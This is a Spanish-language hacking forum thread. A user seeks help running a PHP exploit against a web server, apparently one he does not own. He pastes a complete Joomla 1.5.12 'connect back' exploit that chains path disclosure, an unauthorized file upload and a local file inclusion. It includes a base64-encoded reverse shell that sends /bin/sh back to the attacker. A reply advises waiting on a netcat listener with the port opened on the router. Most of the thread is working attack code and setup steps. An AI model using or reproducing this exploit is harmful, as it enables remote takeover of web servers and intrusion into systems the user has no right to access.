elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  parametro puerto para exploit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: parametro puerto para exploit  (Leído 4,569 veces)
sancakoky

Desconectado Desconectado

Mensajes: 60


Ver Perfil
parametro puerto para exploit
« en: 8 Marzo 2012, 21:25 pm »

hola buenas, tengo un exploit en php para lanzar a un server web y tener shell.
La duda es un poco tonta, es sobre los parametros.
Los parametros que me pide son la ip del server web, un puerto del server (cogere el 80 q esta abierto), mi ip(sera la externa digo yo), y la gran duda es que me pide un puerto mio para la shell.
¿Este puerto mio debe de estar abierto en el sistema operativo y en el router?
En línea

Sagrini

Desconectado Desconectado

Mensajes: 107


Ver Perfil WWW
Re: parametro puerto para exploit
« Respuesta #1 en: 8 Marzo 2012, 23:49 pm »

Sí, será el puerto en el que tendrás que tener esperando para obtener el reverse shell. La duda es de qué tipo es el exploit.
Yo de tí probaría a correr el netcat en el puerto que tu quieras, abrirlo en tu router y correr el exploit con el número de ese puerto. De todos modos, me falta información ;) Pásame el exploit y concreto un poco más...
En línea

sancakoky

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: parametro puerto para exploit
« Respuesta #2 en: 9 Marzo 2012, 12:12 pm »

Muchas gracias, hay va el codigo en php:
Código:
# Title: Joomla 1.5.12 connect back exploit 
# EDB-ID: 11262
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Nikola Petrov
# Published: 2010-01-26
# Verified: no
# Download Exploit Code
# Download N/A
#!/usr/bin/php
<?php
/*
    Copyright (c) ITIX LTD
  
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
  
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
  
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
  
    TITLE:      Joomla 1.5.12 connect back exploit
    AUTHOR:     Nikola Petrov (vp.nikola@gmail.com)
    VERSION:    1.0
    LICENSE:    GNU General Public License
  
    Platform: Joomla 1.5.12
    Vulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)
    Date: 27.08.2009
  
    Joomla 1.5.12 suffers from different kinds of vulnerabilities:
        - path disclosure
        - unauthorized file upload
        - local file inclusion
  
    I heard of unauthorized file upload in Joomla 1.5.12 and I decided to make some research on the topic. Soon after
    that I found two more vulnerabilities - path disclosure and local file inclusion. Maybe there are more vulnerabilities
    but these are enough to get a connection back from the server.
  
    Path disclosure: joomla/libraries/joomla/client/ldap.php
    Unauthorized file upload: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php (upload_file.php)
    Local file inclusion: joomla/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php
  
    Here is the LFI vulnerability:
    -- snip-snip: folders.php --
    <?php
        require_once('config_tinybrowser.php');
        // Set language
  
        if(isset($tinybrowser['language']) && file_exists('langs/'.$tinybrowser['language'].'.php')) {
            require_once('langs/'.$tinybrowser['language'].'.php');  
        }
        else {
            require_once('langs/en.php'); // Falls back to English
        }
        ...
    -- snip-snip --
  
    [wadmin@M01 1.5.12]$ ./jtiny-1-5-12.php % 80 / % 9090
  
    [+] web root: /var/www/html
    [+] tinybrowser secret: s0merand0mjunk!!!111
    [+] Shell successfully uploaded.
    [+] Executing shell...
    [wadmin@M01 1.5.12]$
  
    [wadmin@M01 /]$ nc -vvv -l 9090
    Connection from 127.0.0.1 port 9090 [tcp/websm] accepted
    id && uname -a
    uid=48(apache) gid=48(apache) groups=48(apache)
    Linux M01 2.6.30 #1 SMP Tue Jun 16 19:34:59 EEST 2009 i686 i686 i386 GNU/Linux
    exit
    [wadmin@M01 /]$  
*/
  
    if($argc < 6) {
        print "\tvulnerabilities discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
        print "\tusage: ./jtiny-1-5-12.php <remote host> <remote port> <remote path> <local address> <local port> [remote doc root] [tinybrowser secret/obfuscate]\n";
        print "\texample: jtiny-1-5-12.php % 80 / % 9090\n\n";
        exit();
    }
  
    $RemoteHost = $argv[1];
    $RemotePort = $argv[2];
    $RemotePath = $argv[3];
    $LocalAddress   = $argv[4];
    $LocalPort  = $argv[5];
  
    if($argc == 7) $RemoteDocRoot = $argv[6];
    else $RemoteDocRoot = getRemoteDocRoot($RemoteHost, $RemotePath);
  
    if($argc == 8) $Secret = $argv[7];  
    else $Secret = "s0merand0mjunk!!!111";
  
    print "[+] web root: $RemoteDocRoot\n";
    print "[+] tinybrowser secret: $Secret\n";
  
    $Shell =  
        "PD9waHAKCSRBZGRyZXNzID0gJF9HRVRbJ19yYWRkcmVz".
        "cyddOwoJJFBvcnQgPSAkX0dFVFsnX3Jwb3J0J107CgoJ".
        "QCRTb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgi".
        "dGNwOi8vJEFkZHJlc3M6JFBvcnQiKSBvciBkaWUoIkNh".
        "bm5vdCBjb25uZWN0IGJhY2sgYXQgJEFkZHJlc3M6JFBv".
        "cnRcbiIpOwoJJFByb2MgPSBwcm9jX29wZW4oJy9iaW4v".
        "c2gnICxhcnJheShhcnJheSgncGlwZScsJ3InKSAsYXJy".
        "YXkoJ3BpcGUnLCd3JykgLGFycmF5KCdwaXBlJywndycp".
        "KSwgJFApOwoJCgkkUEk9JFBbMF07CgkkUE89JFBbMV07".
        "CgkkUEU9JFBbMl07CgoJJE51bGwgPSBudWxsOwoKCXdo".
        "aWxlKDEpIHsKCQkkU0w9YXJyYXkoJFNvY2tldCwkUE8s".
        "JFBFKTsKCQlzdHJlYW1fc2VsZWN0KCRTTCwgJE51bGws".
        "ICROdWxsLCAxKTsKCgkJZm9yZWFjaCgkU0wgYXMgJiRW".
        "KSAgewoJCQlpZigkVj09PSRTb2NrZXQpIGZ3cml0ZSgk".
        "UEksZnJlYWQoJFNvY2tldCwgNDA5NikpOwoJCQllbHNl".
        "aWYgKCRWPT09JFBPKSBmd3JpdGUoJFNvY2tldCxmcmVh".
        "ZCgkUE8sIDQwOTYpKTsKCQkJZWxzZWlmKCRWPT09JFBF".
        "KSBmd3JpdGUoJFNvY2tldCxmcmVhZCgkUEUsIDQwOTYp".
        "KTsKCQkJaWYoZmVvZigkU29ja2V0KSB8fCBmZW9mKCRQ".
        "TykpIGV4aXQ7CgkJfQoJfQo/Pgo=";
  
    $File = fopen("./_shell", "w") or die("Cannot open: ./_shell");
    fwrite($File, base64_decode($Shell));
    fclose($File);
  
    #print "uploadFile($RemoteHost, $RemotePath, ./_shell, md5($RemoteDocRoot.$Secret)\n";
    if(uploadFile($RemoteHost, $RemotePath, "./_shell", md5($RemoteDocRoot.$Secret)) == false) {
        print "[-] Cannot upload shell.\n\n";
        unlink("_shell");
        exit();  
    }
    else print "[+] Shell successfully uploaded.\n";
    unlink("_shell");
  
    print "[+] Executing shell...\n";
    shellExec($RemoteHost, $RemotePath, $RemoteDocRoot, $LocalAddress, $LocalPort);
  
    function getRemoteDocRoot($aRemoteHost, $aRemotePath) {
        $Client = curl_init();
  
        curl_setopt($Client, CURLOPT_URL, $aRemoteHost . $aRemotePath . "/libraries/joomla/client/ldap.php");
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
        curl_setopt($Client, CURLOPT_HEADER, 0);
  
        $Response = curl_exec($Client);
        if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
            print "[-] getRemoteDocRoot() recieved http code $HttpCode.\n";
            exit();
        }
  
  
        curl_close($Client);
  
        $Step1 = strpos($Response, "not found in <b>") + 16;
        $Step2 = strpos($Response, "/libraries/joomla/");
  
        if(strlen($aRemotePath) > 1) return substr(substr($Response, $Step1, $Step2 - $Step1), 0, -strlen($aRemotePath));
        else return substr($Response, $Step1, $Step2 - $Step1);  
    }
  
    function uploadFile($aRemoteHost, $aRemotePath, $aFilePath, $aSecret) {
        $Client = curl_init("http://$aRemoteHost$aRemotePath/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload_file.php?folder=". $aRemotePath ."/images/stories&type=image&feid=&obfuscate=$aSecret&sessidpass=");
  
        curl_setopt($Client, CURLOPT_POSTFIELDS, array('Filedata'=>"@$aFilePath"));
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1);
  
        $Response = curl_exec($Client);
        if(($HttpCode = curl_getinfo($Client, CURLINFO_HTTP_CODE)) != 200) {
            print "[-] uploadFile() recieved http code $HttpCode.\n";
            exit();
        }
  
        curl_close($Client);
  
        return strpos($Response, "File Upload Success");
    }
  
    function shellExec($aRemoteHost, $aRemotePath, $aRemoteDocRoot, $aLocalAddress, $aLocalPort) {
        $Shell = "../../../../../../../../../../../../../../../../../../../../../../../../../../". $aRemoteDocRoot . $aRemotePath ."/images/stories/_shell_%00";
  
        $VulnerableFile = $aRemoteHost . $aRemotePath . "/plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/folders.php?_raddress=$aLocalAddress&_rport=$aLocalPort";
  
  
        $Client = curl_init();
  
        curl_setopt($Client, CURLOPT_URL, $VulnerableFile);
        curl_setopt($Client, CURLOPT_RETURNTRANSFER, 1) ;
        curl_setopt($Client, CURLOPT_HEADER, 0);
        curl_setopt($Client, CURLOPT_COOKIE, "tinybrowser_lang=$Shell");
  
        $Response = curl_exec($Client);
        curl_close($Client);
  
        print $Response;
    }
?>

Para abrir el puerto en backtrack utilizare
Código:
iptables -A INPUT -p tcp --dport 1414 -j ACCEPT
No he aguantado mas y he lanzado el exploit sin proxys, abriendo los puertos en el router, en backtrack y me da un error:
Código:
Fatal error:  Call to undefined function curl_init() in /usr/bin/exploit.php on line 166
lo que pongo es :
Código:
./php exploit.php ipserver 80 / ipmia 1234 ipserver/
¿Podeis echarme una mano de que puede estar fallando?


« Última modificación: 9 Marzo 2012, 20:11 pm por sancakoky » En línea

sancakoky

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: parametro puerto para exploit
« Respuesta #3 en: 19 Marzo 2012, 19:54 pm »

nadie?
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
problemas metodo con parametro (solucionado) era sin parametro XD
Java
rub'n 6 6,923 Último mensaje 25 Noviembre 2010, 16:45 pm
por Afsoon
Fallo de ¿puerto? en metasploit (exploit java)
Hacking
illera88 2 6,052 Último mensaje 2 Diciembre 2010, 06:09 am
por Shell Root
Exploit+keylogger problema con el puerto?
Bugs y Exploits
akibara 5 6,745 Último mensaje 21 Enero 2012, 04:53 am
por CloudswX
exploit puerto 23
Bugs y Exploits
gusdinho80 5 7,657 Último mensaje 20 Enero 2012, 16:27 pm
por Sagrini
Exploit puerto 445, 135, 139
Bugs y Exploits
Funebrer0 1 8,183 Último mensaje 24 Noviembre 2012, 07:23 am
por Funebrer0
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines